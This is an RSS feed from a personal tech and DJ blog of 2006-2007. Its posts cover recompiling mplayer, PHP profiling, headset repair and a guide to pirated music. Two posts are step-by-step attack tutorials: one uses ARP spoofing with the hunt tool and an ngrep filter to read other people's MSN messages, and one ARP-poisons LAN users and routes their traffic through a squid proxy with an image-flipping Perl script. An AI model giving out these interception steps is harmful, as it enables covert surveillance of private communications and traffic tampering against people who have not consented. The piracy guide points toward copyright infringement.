<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.3" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>World of Vishnu</title>
	<link>http://www.worldofvishnu.com</link>
	<description>What occupies my time</description>
	<pubDate>Sun, 18 Feb 2007 18:02:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.3</generator>
	<language>en</language>
			<item>
		<title>Howto enable .3gp audio in mplayer</title>
		<link>http://www.worldofvishnu.com/tech/howto-enable-3gp-audio-in-mplayer/</link>
		<comments>http://www.worldofvishnu.com/tech/howto-enable-3gp-audio-in-mplayer/#comments</comments>
		<pubDate>Sun, 18 Feb 2007 17:56:57 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Tech</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/tech/howto-enable-3gp-audio-in-mplayer/</guid>
		<description><![CDATA[This is a howto for ubuntu - but i guess it&#8217;d be easy to translate to a general debian distro.To enable audio in .3gp files in mplayer you need to recompile, but don&#8217;t worry - it&#8217;s done in a few simple steps.

First we need to get the mplayer source
sudo -s
cd /usr/src
mkdir -p mplayer
cd mplayer
apt-get source [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" class="padme" src="http://www.worldofvishnu.com/images/phone.jpg" alt="Enable audio in 3gp videoes" />This is a howto for ubuntu - but i guess it&#8217;d be easy to translate to a general debian distro.To enable audio in .3gp files in mplayer you need to recompile, but don&#8217;t worry - it&#8217;s done in a few simple steps.</p>
<p><a id="more-21"></a><br />
First we need to get the mplayer source</p>
<blockquote><p>sudo -s<br />
cd /usr/src<br />
mkdir -p mplayer<br />
cd mplayer<br />
apt-get source mplayer</p></blockquote>
<p>Then we need to get the 3gp drivers to enable the amr_nb and amr_wb codecs in libavblockquotec, do this:</p>
<blockquote><p>wget http://www.3gpp.org/ftp/Specs/archive/26_series/26.104/26104-510.zip<br />
wget http://www.3gpp.org/ftp/Specs/archive/26_series/26.204/26204-510.zip<br />
unzip 26104-510.zip<br />
unzip 26204-510.zip</p>
<p>cd mplayer-1.0~rc1 # this directory may have a different name<br />
mkdir libavblockquotec/amr_float<br />
mkdir libavblockquotec/amrwb_float</p>
<p>cd libavblockquotec/amr_float<br />
unzip /usr/src/mplayer/26104-510_ANSI_C_source_blockquote.zip<br />
cd ..</p>
<p>cd libavblockquotec/amrwb_float<br />
unzip /usr/src/mplayer/26204-510_ANSI-C_source_blockquote.zip
</p></blockquote>
<p>To keep apt from installing the old version of mplayer next time you update, we need to increment the version number. Open up  /usr/src/mplayer/cd mplayer-1.0~rc1/debian/changelog</p>
<blockquote><p>gedit /usr/src/mplayer/cd mplayer-1.0~rc1/debian/changelog</p></blockquote>
<p>and change the first line from &#8220;mplayer (<strong>2</strong>:1.0~rc1-0ubuntu3) feisty; urgency=low&#8221; to &#8220;mplayer (<strong>3</strong>:1.0~rc1-0ubuntu3) feisty; urgency=low&#8221; - This line may look different on your ubuntu installation.</p>
<p>Now that the amr codecs is in the source tree, it&#8217;s time to compile our new mplayer</p>
<blockquote><p>apt-get  build-dep  mplayer<br />
cd /usr/src/mplayer/cd mplayer-1.0~rc1<br />
dpkg-buildpackage</p></blockquote>
<p>After it has finished compiling, these debs will be available in /usr/src/mplayer</p>
<blockquote><p>0 vishnu@vaio:/usr/src/mplayer> ls *.deb -c1<br />
mplayer-doc_1.0~rc1-0ubuntu3_all.deb<br />
menblockquoter_1.0~rc1-0ubuntu3_i386.deb<br />
mplayer-nogui_1.0~rc1-0ubuntu3_i386.deb<br />
mplayer_1.0~rc1-0ubuntu3_i386.deb</p></blockquote>
<p>Install what you want - this is what i did:</p>
<blockquote><p>dpkg -i mplayer_1.0\~rc1-0ubuntu3_i386.deb \<br />
 menblockquoter_1.0\~rc1-0ubuntu3_i386.deb \<br />
 mplayer-doc_1.0\~rc1-0ubuntu3_all.deb </p></blockquote>
<p>And you&#8217;re done!<br />
Now you can play your 3gp videos with sound!</p>
<p>ps. this howto was writting without checking for spelling errors, please let me know if something does not work.
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/tech/howto-enable-3gp-audio-in-mplayer/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Speeding up PHP with Profiling</title>
		<link>http://www.worldofvishnu.com/tech/speeding-up-php-with-profiiling/</link>
		<comments>http://www.worldofvishnu.com/tech/speeding-up-php-with-profiiling/#comments</comments>
		<pubDate>Mon, 14 Aug 2006 12:43:16 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Tech</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/tech/speeding-up-php-with-profiiling/</guid>
		<description><![CDATA[When your system and databases grow large, you often notice that some querys/pages become slow. There are many ways of speeding up an application, you can rethink your sql querys, implement caching or optimize database indexing. Today I am going to show you how to optimize your php code.

To do this we need a code [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.worldofvishnu.com/images/pprof.png" ><img align="left" class="padme" src="http://www.worldofvishnu.com/images/pprof-cut.png" alt="PHP APD Profiler" /></a>When your system and databases grow large, you often notice that some querys/pages become slow. There are many ways of speeding up an application, you can rethink your sql querys, implement caching or optimize database indexing. Today I am going to show you how to optimize your php code.</p>
<p><a id="more-19"></a><br />
To do this we need a code profiler. A profiler records a log of what your algorithm does, and where it spends the most time. The profiler I use is <strong>PHP-APD</strong>, it&#8217;s command line line based and easy to use.</p>
<p>If you&#8217;re in a debian/ubuntu environment, just do</p>
<blockquote><p>
sudo apt-get install php4-apd
</p></blockquote>
<p>If you&#8217;re not, follow the installation instructions at <a href="http://wiki.cc/php/Apd" onclick="javascript:urchinTracker ('/outbound/article/wiki.cc');">http://wiki.cc/php/Apd</a>.</p>
<p>Now, to get your profiler to log whats happening, add this line at the beginning of your file(s):</p>
<blockquote><p>
apd_set_pprof_trace();
</p></blockquote>
<p>Each time you now run the php script, a log file is created in <em>/var/log/php4-apd/</em>. To analyze the log files, we use the tool <strong>pprofp</strong>. In the log directory, type:</p>
<blockquote><p>
ls -t &#8211;format single-column | head -n 1 | xargs pprofp -u
</p></blockquote>
<p>This fires up the profiler with the newest log file. The output should look like this:</p>
<p><a href="http://www.worldofvishnu.com/images/pprof.png" ><img class="padme" src="http://www.worldofvishnu.com/images/pprof-scale.png" alt="PHP APD Profiler" /></a></p>
<p>Here you can see all the calls, sorted on which uses the most time. Use this information to find out which parts of your code you should optimize. If a subroutine can either use much time if its very complex, or if it&#8217;s called a lot of times. Try to minimize these two factors. I&#8217;ve used this tool to optimize and find bugs (ie a mysql_query within a while loop, which is a bad idea).</p>
<p>Try out the pprof tool with different arguments, here is a list (pprofp -h):</p>
<blockquote><p><code><br />
    Sort options<br />
    -a          Sort by alphabetic names of subroutines.<br />
    -l          Sort by number of calls to subroutines<br />
    -m          Sort by memory used in a function call.<br />
    -r          Sort by real time spent in subroutines.<br />
    -R          Sort by real time spent in subroutines (inclusive of child calls).<br />
    -s          Sort by system time spent in subroutines.<br />
    -S          Sort by system time spent in subroutines (inclusive of child calls).<br />
    -u          Sort by user time spent in subroutines.<br />
    -U          Sort by user time spent in subroutines (inclusive of child calls).<br />
    -v          Sort by average amount of time spent in subroutines.<br />
    -z          Sort by user+system time spent in subroutines. (default)</p>
<p>    Display options<br />
    -c          Display Real time elapsed alongside call tree.<br />
    -i          Suppress reporting for php builtin functions<br />
    -O <cnt>    Specifies maximum number of subroutines to display. (default 15)<br />
    -t          Display compressed call tree.<br />
    -T          Display uncompressed call tree.<br />
</code>
</p></blockquote>
<p><strong>Happy coding!</strong>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/tech/speeding-up-php-with-profiiling/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Howto eavesdrop on MSN Conversations</title>
		<link>http://www.worldofvishnu.com/tech/howto-easedrop-on-msn-conversations/</link>
		<comments>http://www.worldofvishnu.com/tech/howto-easedrop-on-msn-conversations/#comments</comments>
		<pubDate>Sat, 12 Aug 2006 16:39:41 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Tech</category>
	<category>Hacking</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/tech/howto-easedrop-on-msn-conversations/</guid>
		<description><![CDATA[This is another post in the &#8216;fun with arp&#8217; series I&#8217;ve started. I will show you how you can eavesdrop on the MSN Conversations of your friends and enemies. This is an ARP hack, so it only works on a LAN. I described in the &#8220;Howto hack the computers in your LAN&#8221; post how you [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.worldofvishnu.com/images/msn-cut.png" alt="Hack MSN Conversations" align="left" class="padme" />This is another post in the &#8216;fun with arp&#8217; series I&#8217;ve started. I will show you how you can eavesdrop on the MSN Conversations of your friends and enemies. This is an ARP hack, so it only works on a LAN. I described in the &#8220;<a href="http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/" >Howto hack the computers in your LAN</a>&#8221; post how you can use arp packages poisoning/spoofing to route all traffic on a switched network through you computer. We are going to use the same technique here, with some adjustments.</p>
<p>This is what we want to do:</p>
<ul>
<li>Eavesdrop on a users Msn Conversations</li>
</ul>
<p>This is how we&#8217;re going to do it:</p>
<ol>
<li>Poison the arptables of the target and the standard gateway to make all traffic go through us</li>
<li>Filter out the packages that contain the MSN messages</li>
</ol>
<p><a id="more-17"></a><br />
<strong>1. Poison the arptables of the target and the standard gateway</strong></p>
<p>There are tons of tools you can use to poison arp tables, but I&#8217;m going to use a script called <em>hunt</em>, which is really simple and powerful. Read my &#8220;<a href="http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/" >Howto hack the computers in your LAN</a>&#8221; for instructions on how to get it.</p>
<p>Fire up hunt:</p>
<blockquote><p>
sudo ./hunt
</p></blockquote>
<p>In the menu system, go to:</p>
<blockquote><p>
d) daemons rst/arp/sniff/mac<br />
a) arp spoof + arp relayer daemon<br />
a) insert single/range arp spoof<br />
s/k) start/stop relayer daemon (press s)
</p></blockquote>
<p>You will be asked for host1 ip and host2 ip and their mac addresses, use these values:</p>
<blockquote><p>
host1: ip address of the target<br />
mac: YOUR mac address<br />
host2: ip adrdress of the gateway<br />
mac: YOUR mac address
</p></blockquote>
<p>You can find your mac address by running <em>ifconfig</em>.</p>
<p>Congratulations, now all traffic to and from the target goes through you.</p>
<p><strong>2. Filter out the packages that contain the MSN messages</strong></p>
<p>If you try to look at everything an active desktop pc is sending and receiving, you would go crazy within a few minutes. That&#8217;s why we need a packet filter. I based my filter on the program <em>ngrep</em>, which is a simple yet powerful network layer (IP) monitor/filter. It uses regex to match useful packets. The filter I designed is very simple, and i bet most of you could throw something much more effective together in a few minutes. (If you do, why not post it in comments?). If you don&#8217;t have ngrep installed, do a</p>
<blockquote><p>
sudo apt-get install ngrep
</p></blockquote>
<p>(debin/ubuntu)</p>
<p>The filer i used:</p>
<blockquote><p>
sudo ngrep &#8216;^MSG.{0,}Content-Type: text/plain.{0,}$&#8217;
</p></blockquote>
<p>This matches all packets starting with &#8216;MSG&#8217;, and containing &#8216;Content-Type: text/plain&#8217; somewhere in the payload. If you get matches on other types of traffic, try to modify my filter. Check out the <a href="http://www.die.net/doc/linux/man/man8/ngrep.8.html" onclick="javascript:urchinTracker ('/outbound/article/www.die.net');">ngrep man</a> pages and <a href="http://www.regular-expressions.info/" onclick="javascript:urchinTracker ('/outbound/article/www.regular-expressions.info');">http://www.regular-expressions.info/</a> for more info.</p>
<p>The output should look something like this:</p>
<p><strong>Outgoing message:</strong></p>
<blockquote><p>
T <strong>10.0.0.88:1148 -> 207.46.26.169:1863</strong> [AP]<br />
  MSG 38 N 141..MIME-Version: 1.0..Content-Type: text/plain; charset=UTF-8..X-MMS-IM-Format: FN=Microsoft%20Sans%20Serif; EF=; CO=0; CS=0; PF=22&#8230;.<strong>Hello my friend! How do you do?</strong>
</p></blockquote>
<p><strong>Incoming message:</strong></p>
<blockquote><p>
T <strong>207.46.26.169:1863 -> 10.0.0.88:1148</strong> [AP]<br />
  MSG <strong>targets.email-address@mail.com</strong> <strong>Target-nickname</strong> 135..MIME-Version: 1.0..Con<br />
  tent-Type: text/plain; charset=UTF-8..X-MMS-IM-Format: FN=MS%20Shell%20Dlg; EF=; CO=0; CS=0; PF=0&#8230;.<strong>Not so good, my girlfriend kicked me in the nuts</strong>
</p></blockquote>
<p>If you want, you can pipe the output to a perl/php/bash script and remove everything but the nick and message, but that&#8217;s slave labour I&#8217;ll let you do yourself!</p>
<p>It is actually that simple!</p>
<p>More information on ARP spoofing can be found at <a href="http://www.watchguard.com/infocenter/editorial/135324.asp"><br />
http://www.watchguard.com/infocenter/editorial/135324.asp</a></p>
<p>Happy hacking!
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/tech/howto-easedrop-on-msn-conversations/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Howto hack the computers in your LAN</title>
		<link>http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/</link>
		<comments>http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/#comments</comments>
		<pubDate>Sun, 06 Aug 2006 12:38:06 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Tech</category>
	<category>Hacking</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/</guid>
		<description><![CDATA[I am going to show you a way to have fun with the users of your lan.  The idea i got from Upside-Down-Ternet article written by -someone-. He/she described how to play a trick on the neighbours that was leeching off his wireless, by turning all the images on the websites they were surfing [...]]]></description>
			<content:encoded><![CDATA[<p>I am going to show you a way to have fun with the users of your lan. <a href="http://www.worldofvishnu.com/images/shot1.png" ><img align="left" src="http://www.worldofvishnu.com/images/arp-small.png" alt="Upside down images" class="padme" /></a> The idea i got from <a href="http://www.ex-parrot.com/~pete/upside-down-ternet.html" onclick="javascript:urchinTracker ('/outbound/article/www.ex-parrot.com');">Upside-Down-Ternet</a> article written by -someone-. He/she described how to play a trick on the neighbours that was leeching off his wireless, by turning all the images on the websites they were surfing on upside-down. It&#8217;s a fairly simple deal when you are in control of the network&#8217;s gateway, but if you are just connected to the lan like everyone else, you need a bit of low-tech hacking. </p>
<p>This is what we want to do:</p>
<ul>
<li>Make the target send all http packet to us instead of the gateway</li>
<li>Forward them to the real gateway</li>
<li>Modify the replay, with the <strong>pictures upside-down</strong></li>
<li>Forward the replay to the target</li>
</ul>
<p>This is how we&#8217;re going to do it:</p>
<ol>
<li>Poison the ARP table of the target</li>
<li>Set up our pc as a gateway router</li>
<li>Send all http requests through a squid proxy</li>
<li>Turn images upside-down with a squid script</li>
</ol>
<p><a id="more-16"></a><br />
Ok, sound great, lets get started!</p>
<p><strong>1. Poison the ARP table of the target</strong><br />
We want the target to send all packets to us instead of the real gateway. To do this we need to know a little about ip addresses and mac addresses. When we wan to send a packet to 10.0.0.1, there is sent out an ARP request on the local lan, saying &#8220;Which computer is at 10.0.0.1?&#8221;, then 10.0.0.1 answers with an ARP repay  &#8220;I am at 10.0.0.1, with mac address 11:22:33:44:55:66&#8243;. Then we send the packet to 11:22:33:44:55:66. ARP replays are cached in a local ARP table, so the next time we want to send to 10.0.0.1, we don&#8217;t need to ask who&#8217;s got it. We are going to send a <em>fake</em> ARP replay to the target (10.0.0.88), saying <em>we</em> are at 10.0.0.1. Usually ARP replays are accepted even though no request was sent, so this is actually really easy.</p>
<p>How do I do this?<br />
We can use <a href="http://www.arpoison.net/" onclick="javascript:urchinTracker ('/outbound/article/www.arpoison.net');">arpoison</a> to construct a fake packet and send it, but i prefer to use another a bit mor powerful script, called <em>hunt</em>. You can download the hunt source code <a href="http://www.worldofvishnu.com/uploads/hunt-1.5.tgz" >here</a>, and compile like this:</p>
<blockquote><p>tar zxvf hunt-1.5.tgz<br />
cd hunt-1.5<br />
make</p></blockquote>
<p>If you&#8217;re not comfortable compiling yourself, you can download the one i compiled (i386) <a href="http://www.worldofvishnu.com/uploads/hunt-i386.tgz" >here</a>.</p>
<p>Fire up hunt:</p>
<blockquote><p>
sudo ./hunt
</p></blockquote>
<p>In the menu system go to</p>
<blockquote><p>
d)     daemons rst/arp/sniff/mac<br />
a) arp spoof + arp relayer daemon<br />
i/I) insert single/range arp spoof<br />
s/k) start/stop relayer daemon (press s)
</p></blockquote>
<p>Type in the ip of the real gateway, your mac address (find this by running ifconfig), and the targets ip. Now we have poisoned the ARP table of the target. You can confirm the poisoning by typing &#8220;arp -a&#8221; on the target, and see that the gateway ip has your mac address.</p>
<p><strong>2. Set up our pc as a gateway router</strong><br />
This is easy, just do this commands:</p>
<blockquote><p>
sudo iptables -F<br />
sudo iptables -F -t nat<br />
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE<br />
echo 1 > /proc/sys/net/ipv4/ip_forward
</p></blockquote>
<p>Where eth0 is your network interface connected to the lan. The changes are reset the next time the network is reloaded.</p>
<p><strong>3. Send all http requests through a squid proxy</strong><br />
Install squid and reset it&#8217;s config:</p>
<blockquote><p>
sudo apt-get squid<br />
sudo mv /etc/squid/squid.conf /etc/squid/squid.conf.default
</p></blockquote>
<p>Edit /etc/squid/squid.conf with your favorite editor like this:</p>
<blockquote><p>
http_port 127.0.0.1:8080<br />
http_port 10.0.0.2:8080</p>
<p>visible_hostname gateway.my.flat<br />
cache_mgr        proxy@foo.com</p>
<p>httpd_accel_host virtual<br />
httpd_accel_port 80<br />
httpd_accel_with_proxy on<br />
httpd_accel_uses_host_header on</p>
<p>acl all src 0.0.0.0/0.0.0.0</p>
<p>http_access allow all</p>
<p>redirect_program /var/redirect
</p></blockquote>
<p><strong>4. Turn images upside-down with a squid script</strong><br />
We use the redirect program defined in the squid config to flip our images, edit /var/redirect to look like this:</p>
<blockquote><p><code style="text-align: left; font-size: 10px;"><br />
#!/usr/bin/perl<br />
$|=1;<br />
$count = 0;<br />
$pid = $$;<br />
while (<>) {<br />
        chomp $_;<br />
        if ($_ =~ /(.*\.jpg)/i) {<br />
                $url = $1;<br />
                system(&#8221;/usr/bin/wget&#8221;, &#8220;-q&#8221;, &#8220;-O&#8221;,&#8221;/var/www/$pid-$count.jpg&#8221;, &#8220;$url&#8221;);<br />
                system(&#8221;/usr/bin/mogrify&#8221;, &#8220;-flip&#8221;,&#8221;/var/www/$pid-$count.jpg&#8221;);<br />
		system(&#8221;/bin/chmod&#8221;, &#8220;777&#8243;, &#8220;/var/www/$pid-$count.jpg&#8221;);<br />
                print &#8220;http://127.0.0.1/$pid-$count.jpg\n&#8221;;<br />
        }<br />
        elsif ($_ =~ /(.*\.gif)/i) {<br />
                $url = $1;<br />
                system(&#8221;/usr/bin/wget&#8221;, &#8220;-q&#8221;, &#8220;-O&#8221;,&#8221;/var/www/$pid-$count.gif&#8221;, &#8220;$url&#8221;);<br />
                system(&#8221;/usr/bin/mogrify&#8221;, &#8220;-flip&#8221;,&#8221;/var/www/$pid-$count.gif&#8221;);<br />
		system(&#8221;/bin/chmod&#8221;, &#8220;777&#8243;, &#8220;/var/www/$pid-$count.gif&#8221;);<br />
                print &#8220;http://127.0.0.1/$pid-$count.gif\n&#8221;;</p>
<p>        }<br />
        else {<br />
                print &#8220;$_\n&#8221;;;<br />
        }<br />
        $count++;<br />
}<br />
</code>
</p></blockquote>
<p>As you can see from the script, we need to serve the flipped images from a local webserver. Therefore, install apache:</p>
<blockquote><p>
sudo apt-get install apache2<br />
sudo chmod -R 777 /var/www
</p></blockquote>
<p>At last, reload squid with the new configuration:</p>
<blockquote><p>
sudo /etc/init.d/squid restart
</p></blockquote>
<p>You can test the squid by configuring your <a href="http://get-firefox.com" onclick="javascript:urchinTracker ('/outbound/article/get-firefox.com');">firefox</a> to use localhost:8080 as a proxy server.</p>
<p><strong>YOU HAVE NOW HACKED THE TARGET COMPUTER!</strong></p>
<p>On you friends computer, webpages should now look like this:<br />
<a href="http://www.worldofvishnu.com/images/shot1.png" ><img src="http://www.worldofvishnu.com/images/shot1-th.png" alt="Upside down images" class="padme" /></a></p>
<p><em>picture from <a href="http://www.ex-parrot.com/~pete/upside-down-ternet.html" onclick="javascript:urchinTracker ('/outbound/article/www.ex-parrot.com');">http://www.ex-parrot.com/~pete/upside-down-ternet.html</a></em>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/tech/hack-the-computers-in-your-lan/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Where and how to download music on the net</title>
		<link>http://www.worldofvishnu.com/tech/where-and-how-to-download-music-on-the-net/</link>
		<comments>http://www.worldofvishnu.com/tech/where-and-how-to-download-music-on-the-net/#comments</comments>
		<pubDate>Thu, 27 Jul 2006 20:46:17 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Tech</category>
	<category>Djing</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/tech/where-and-how-to-download-music-on-the-net/</guid>
		<description><![CDATA[ .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} How and where do you get music on the net? I am of course not talking about legit sources like iTunes, but all the other free alternatives. When I am downloading music I face these [...]]]></description>
			<content:encoded><![CDATA[<p><style> .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} </style><img title="BitTorrent" alt="Download music" class="padme" src="http://www.worldofvishnu.com/images/dc-small.png" align="left" />How and where do you get music on the net? I am of course not talking about legit sources like iTunes, but all the other free alternatives. When I am downloading music I face these two questions:</p>
<ol>
<li>What download medium do i use? (what program, what website etc.)</li>
<li>How do I find the new cool tracks i want, when I don&#8217;t yet know the name of them?</li>
</ol>
<p>I&#8217;ll give you a small guide to the methods I use. I am a dj and therefor i need to get new music, preferably before it gets popular, that is a big challenge. I&#8217;ll go through a few approaches:</p>
<p><a id="more-13"></a><br />
<strong>Torrent sites</strong>: Torrent sites has a few advantages and a few disadvantages: It&#8217;s easy to use, you just click on what you want and the torrent client you are using will take care of the rest. But what do you download? It&#8217;s really unpractical to download one track at the time with BitTorrent, It works best for albums and large collections. When I use torrent sites I mainly download &#8220;Various Artists&#8221; albums, listen through them, and keep the tracks I like. That way you don&#8217;t need to know the name of the new cool tracks before you hear them.</p>
<p><img title="BitTorrent" alt="BitTorrent" class="padme" src="http://www.worldofvishnu.com/images/findmusic/272g.gif" /></p>
<p><em>BitTorrent Client</em></p>
<p>These are the torrent clients I&#8217;ve used:</p>
<ul>
<li><a href="http://www.softwarepatch.pl/plik/95/programy_i_gry/Azerus_2104_PL.html"title="Azerus"  onclick="javascript:urchinTracker ('/outbound/article/www.softwarepatch.pl');">Azerus</a> (Windwos)</li>
<li><a href="http://www.bittorrent.com/"title="BitTorrent"  onclick="javascript:urchinTracker ('/outbound/article/www.bittorrent.com');">BitTorrent</a> (Linux/Windows)</li>
<li><a href="http://www.bittornado.com/"title="BitTornado"  onclick="javascript:urchinTracker ('/outbound/article/www.bittornado.com');">BitTornado</a> (Linux)</li>
<li><a href="http://www.bitcomet.com/"title="BitComet"  onclick="javascript:urchinTracker ('/outbound/article/www.bitcomet.com');">BitComet</a> (Windows) *</li>
<li><a href="http://www.torrentflux.com/"title="TorrentFlux"  onclick="javascript:urchinTracker ('/outbound/article/www.torrentflux.com');">TorrentFlux</a> (Web based) *</li>
</ul>
<p>These are the sites I&#8217;ve been using:</p>
<ul>
<li><a href="http://www.thepiratebay.org"title="The Pirate Bay"  onclick="javascript:urchinTracker ('/outbound/article/www.thepiratebay.org');">http://www.thepiratebay.org</a> *</li>
<li><a href="http://www.mininova.org"title="Mininova"  onclick="javascript:urchinTracker ('/outbound/article/www.mininova.org');">http://www.mininova.org</a></li>
</ul>
<p>I have marked my favorites with *.</p>
<p><strong>DC++</strong>: This is my favorite file sharing program. It is  an open source application for windows, but has been ported to Linux as well. It works like this: you connect to a <strong>hub</strong> (a server which collects all the lists of shared files of the users and lets you search them), you search for a file and then you choose which other user you want to download from.</p>
<p><a href="http://www.worldofvishnu.com/images/findmusic/dc-cut.png" ><img title="DC++ for Linux" alt="DC++ for Linux" class="padme" src="http://www.worldofvishnu.com/images/findmusic/dc-cut_thumb.png" /></a></p>
<p><em>DC++ for Linux</em></p>
<p>It&#8217;s actually really simple, but however there are a few drawbacks. First you need a good hub, there are a lot out there but I only use this one:</p>
<ul>
<li><em>djcenter2004.no-ip.org</em></li>
</ul>
<p>It is a hub for dj&#8217;s, and it won&#8217;t let you if you share anything other than music (at least 5 gb). I always find what I need there. The next problem is how to know what to search for. I&#8217;ve got some sites I check usually, here are some of them:</p>
<ul>
<li><a href="http://deejaypromo.com"title="DeeJayPromo"  onclick="javascript:urchinTracker ('/outbound/article/deejaypromo.com');">DeeJayPromo</a>  - Up to date dance, house and hip-hop charts.</li>
<li><a href="http://www.last.fm/explore/"title="Last.fm"  onclick="javascript:urchinTracker ('/outbound/article/www.last.fm');">Last.fm</a> - Find the tags for your music and see whats hot!</li>
<li><a href="http://tranceaddict.com"title="Tranceaddict"  onclick="javascript:urchinTracker ('/outbound/article/tranceaddict.com');">Tranceaddict.com</a> - Forums for electronic music.</li>
</ul>
<p>Another way to find new tracks is to download dj liveset on DC++ or with BitTorrent and listen to them. Check the tracklist when you find a cool tune.</p>
<ul></ul>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/tech/where-and-how-to-download-music-on-the-net/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>Fixing a broken Pioneer HDJ 1000 headset</title>
		<link>http://www.worldofvishnu.com/djing/fixing-a-broken-pioneer-hdj-1000-headset/</link>
		<comments>http://www.worldofvishnu.com/djing/fixing-a-broken-pioneer-hdj-1000-headset/#comments</comments>
		<pubDate>Tue, 25 Jul 2006 19:52:34 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Djing</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/djing/fixing-a-broken-pioneer-hdj-1000-headset/</guid>
		<description><![CDATA[ .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} I bought the Pioneer HDJ-1000 dj headset some time ago, and I am really satisfied with it. The only problem I&#8217;ve had is that right side broke one time. I know other people have had [...]]]></description>
			<content:encoded><![CDATA[<p><style> .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} </style><img class="padme" src="http://www.worldofvishnu.com/images/hdj-small.png" align="left"/>I bought the Pioneer <strong>HDJ-1000</strong> dj headset some time ago, and I am really satisfied with it. The only problem I&#8217;ve had is that right side broke one time. I know other people have had the same problem, so I figured I&#8217;d post how to fix it. The weak spot is the link between the half circle that holds the speaker and the ball-joint (that says L). I wore them outside on a really cold winter day (about -25 C, (yes.. I live in Norway)), and the plastic got crisp as a cracker. The joint just snapped when i took them off my head. A good tip is to NEVER the the headset off with only one hand, thats how you break it.</p>
<p><a id="more-11"></a><br />
<a href="javascript:void(0)"><img width="429" vspace="4" height="322" alt="CIMG0502.JPG" class="padme" src="http://www.worldofvishnu.com/images/hdj1000/th/cimg0502_thumb.jpg"onclick="window.open('http://www.worldofvishnu.com/images/hdj1000/CIMG0502.JPG');"  / ></a><br />
I figured I&#8217;d glue it with super strong 2-component glue, but after one disappointing trail, i found out I needed something stronger. This is what I did: I found some metal bits and cut/bent them into shape, as you can see from the photos I used one on the outside and one on the inside. When they fit perfectly, i glued it all together. Be sure to mix the 2 components good before applying. I used 24 hour glue, which made keeping the parts preassured together really difficult, but i managed with some bits of wood and a large amount of ducktape.</p>
<p><a href="javascript:void(0)"><img width="429" vspace="4" height="322" alt="CIMG0503.JPG" class="padme" src="http://www.worldofvishnu.com/images/hdj1000/th/cimg0503_thumb.jpg"onclick="window.open('http://www.worldofvishnu.com/images/hdj1000/CIMG0503.JPG');"  / ></a></p>
<p><a href="javascript:void(0)"><img width="429" vspace="4" height="322" alt="CIMG0504.JPG" class="padme" src="http://www.worldofvishnu.com/images/hdj1000/th/cimg0504_thumb.jpg"onclick="window.open('http://www.worldofvishnu.com/images/hdj1000/CIMG0504.JPG');"  / ></a><br />
As you can see below, i added small metal bits on the sides as well. The thought was to strap a thin strip around the metal to keep it together, but I don&#8217;t think that was nessacery.<br />
<a href="javascript:void(0)"><img width="429" vspace="4" height="322" alt="CIMG0506.JPG" class="padme" src="http://www.worldofvishnu.com/images/hdj1000/th/cimg0506_thumb.jpg"onclick="window.open('http://www.worldofvishnu.com/images/hdj1000/CIMG0506.JPG');"  / ></a></p>
<p>I am quite sure my fix is stronger than the original link, and I am actually thinking about doing the same to the other side. (before it breaks)
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.worldofvishnu.com/djing/fixing-a-broken-pioneer-hdj-1000-headset/feed/</wfw:commentRSS>
		</item>
		<item>
		<title>BryggeQuart 2006</title>
		<link>http://www.worldofvishnu.com/norske-sider/bryggequart-2006/</link>
		<comments>http://www.worldofvishnu.com/norske-sider/bryggequart-2006/#comments</comments>
		<pubDate>Wed, 19 Jul 2006 18:42:43 +0000</pubDate>
		<dc:creator>Dj Vishnu</dc:creator>
		
	<category>Norske Sider</category>
		<guid isPermaLink="false">http://www.worldofvishnu.com/norske-sider/bryggequart-2006/</guid>
		<description><![CDATA[ .padme{ border-style: dashed;  border-width: 1px;  padding: 2px;  margin-left: 4px; margin-top: 4px;  margin-right: 4px; border-color: black;} 


